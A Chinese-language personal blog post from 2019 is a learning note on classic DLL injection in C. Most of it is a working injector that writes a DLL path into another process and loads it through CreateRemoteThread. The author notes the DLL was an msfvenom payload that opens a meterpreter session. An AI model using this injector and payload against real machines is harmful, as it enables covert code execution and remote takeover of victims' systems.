经典DLL injection

  1. 前言
  2. DLL注入的由来
  3. 经典DLL注入的流程
  4. C实现

前言

昨天在某文章中见到dll injection的操作,打算用C写一下。搜了好久发现都是C++和C#的示例,找了好久才发现C的真的是难受的一批

DLL注入的由来

DLL注入一般为了方便不修改程序的主题而能实现其他功能,比如:外挂,程序补丁等。可以通过DLL注入来完成,DLL注入现在分为很多种。现在最流行的是反射型DLL注入,这里先学习最基础的经典DLL注入。

经典DLL注入的流程

C实现

代码如下:

#include <stdio.h>
#include <windows.h>
#include <string.h>

int main(){
    HANDLE hprocess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,4860); //打开现有的本地进程对象,参考链接:https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
    LPVOID dllpath="C:\\Users\\jiushi\\Desktop\\demo.dll"; //没有类型的指针
    FARPROC load=GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA"); //获取运行时类型句柄,调用dll的函数,参考链接:https://docs.microsoft.com/en-us/dotnet/api/system.runtimetypehandle.getmodulehandle?view=netframework-4.8
    char * pszLibFileRemote = (char *) VirtualAllocEx(hprocess,NULL,strlen(dllpath)+1,MEM_COMMIT,PAGE_READWRITE); //保留,提交或更改指定进程的虚拟地址空间内的内存区域的状态 参考链接:https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex
    WriteProcessMemory(hprocess, pszLibFileRemote, (PVOID) dllpath, strlen(dllpath)+1, NULL); //将数据写入指定进程中的内存区域,参考链接:https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
    CreateRemoteThread(hprocess, NULL, 0,(LPTHREAD_START_ROUTINE)load, pszLibFileRemote, 0, NULL); //创建在另一个进程的虚拟地址空间中运行的线程,参考链接:https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread
    return 0;
}

上面的4860是进程ID,dll是用msfvenom生成的。成功注入进程后将会返回一个meterpreter

而进程是这样的


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:经典DLL injection

本文作者:九世

发布时间:2019-09-14, 17:01:05

最后更新:2019-09-14, 17:25:04

原始链接:http://jiushill.github.io/posts/e84fbfc9.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录